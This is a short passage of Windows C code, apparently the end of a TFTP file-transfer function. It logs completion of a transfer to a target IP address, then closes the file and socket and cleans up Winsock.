
debugLog(sprintf(logMessage, "Transfer to %s Complete\n", 
inet_ntoa(target_ip.sin_addr))); 

} 
 

tftpRunning = false; 
fclose(fp); 
closesocket(server); 
WSACleanup(); 
return 0; 

} 

 


